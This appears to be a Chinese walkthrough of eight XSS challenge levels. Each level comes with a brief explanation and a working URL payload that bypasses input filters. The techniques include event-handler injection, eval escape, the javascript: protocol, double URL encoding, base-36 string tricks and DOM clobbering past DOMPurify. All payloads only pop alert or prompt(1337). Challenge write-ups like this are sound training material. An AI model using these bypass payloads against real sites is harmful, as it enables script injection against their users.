xss 一些例子

目录

XSS

[1.Ma Spaghet!​编辑](#1.Ma Spaghet!编辑)

2.Jefff​编辑

[3.Ugandan Knuckles​编辑](#3.Ugandan Knuckles编辑)

[4.Ricardo Milos​编辑](#4.Ricardo Milos编辑)

[5.Ah That's Hawt​编辑](#5.Ah That's Hawt编辑)

6.Ligma​编辑

7.Mafia​编辑

简单解法就是换一个函数

作者得原意解法

[8.Ok, Boomer​编辑](#8.Ok, Boomer编辑)


XSS

1.Ma Spaghet!

  • 这里接收了一个somebody参数,传到了spaghet的h2标签里面,用了innerHTML来插入,可识别html标签

  • h2标签里面是可以识别html标签的,直接用img错误路径就行

复制代码
?somebody=<img src=1 οnerrοr=alert(1337)>

2.Jefff

  • 这里有一个eval()方法,可以直接执行里面的代码

  • 所以只需要逃逸出引号,直接打印就行

复制代码
?jeff=aaa";alert(1337);"

3.Ugandan Knuckles

  • 发现这里过滤了一个尖括号

  • 值的接收点放在了input,input里面有一个比较经典的就是,引号逃逸后执行一些事件,点击啥的

  • 这里onfocus是获得焦点时触发,这里要求是不能交互,所以用autofocus自动获得焦点

复制代码
?wey=haha"%20οnfοcus="alert(1337)" autofocus="

4.Ricardo Milos

  • 这里呢就接收一个ricardo并且提交表单,擦不多就等价于在<form action=提交>

  • 然后呢在html里面action可以接收一个javascript的伪协议

复制代码
?ricardo=javascript:alert(1337)

5.Ah That's Hawt

  • 这里他对括号,反引号,反斜线进行了过滤

  • 利用location加url code编码绕过

  • %2528 1337*%2529*在传入时解码为(%25 等于url code的%):%281337%29这样就绕过了这个waf,在显示到页面时再次解码:(1337)

复制代码
?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">

6.Ligma

  • 这里它过滤了所有的字母数字

  • 可以采用符号之间位或位、异或来然后通过ascii码得出想要的字母

  • JSFuck - Write any JavaScript with 6 Characters: []()!+ 这个网站可以直接得到

  • 然后我们发现加号在其中这就需要我们进行转码了

7.Mafia

  • 发现他过滤得东西很多,还过alert过滤了(可以用 confirm prompt)

  • 这里应该是作者失误,忘记写了

简单解法就是换一个函数

复制代码
?mafia=prompt(1337)
  • 这样其实没啥意义

作者得原意解法

  • 在JavaScript中没有赋值的构造函数是可以直接执行的
  • 但是我们还是无法绕过alter啊,很心幸运,我们在构造函数中可以对定义的函数进行一些操作
复制代码
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()   //将ALERT(1337)作为原文本,并且转为小写
  • 这里呢我们除了上面的通过大写转小写绕过以外还可以用,parseInt,和toString来绕过

  • paeseInt(str, radix), 借助radix转为整数 ,这里radix是一个基数,相当于进制,如16进制 他就是1-F,所以我们将'f'放入str,以16为基数就会得到15,如果超过'f',比如'g'就会返回nan,因为它不在1-f中,同理只要基数包含了所有字母那是不是都可以转呢,1-z 就是36

  • 而toString(radix),可以借助基数把数字转为字符串

复制代码
?mafia= eval(17795081..toString(36))(1337)

8.Ok, Boomer

  • 这里发现有DOMPurity这个顶级waf,直接莽怕是不行了
  • 直接被杀掉了

  • 一个dom破坏的基础内容,这个定时器取ok时会把这个a标签取出来,然后自动调用tostring方法把href里面的东西拿到,这里伪协议不用script是因为过滤框架不允许

复制代码
?boolmer=<a id="ok" href="tel:alert(1337)">
相关推荐
木斯佳1 小时前
前端八股文面经大全:bilibili生态技术方向二面 (2026-03-25)·面经深度解析
前端·ai·ssd·sse·rag
不会写DN1 小时前
Gin 日志体系详解
前端·javascript·gin
冬夜戏雪2 小时前
实习面经记录(十)
java·前端·javascript
爱学习的程序媛3 小时前
【Web前端】JavaScript设计模式全解析
前端·javascript·设计模式·web
小码哥_常3 小时前
从SharedPreferences到DataStore:Android存储进化之路
前端
老黑3 小时前
开源工具 AIDA:给 AI 辅助开发加一个数据采集层,让 AI 从错误中自动学习(Glama 3A 认证)
前端·react.js·ai·nodejs·cursor·vibe coding·claude code
jessecyj4 小时前
Spring boot整合quartz方法
java·前端·spring boot
苦瓜小生4 小时前
【前端】|【js手撕】经典高频面试题:手写实现function.call、apply、bind
java·前端·javascript
天若有情6734 小时前
前端HTML精讲03:页面性能优化+懒加载,搞定首屏加速
前端·性能优化·html
踩着两条虫4 小时前
AI驱动的Vue3应用开发平台深入探究(十):物料系统之内置组件库
android·前端·vue.js·人工智能·低代码·系统架构·rxjava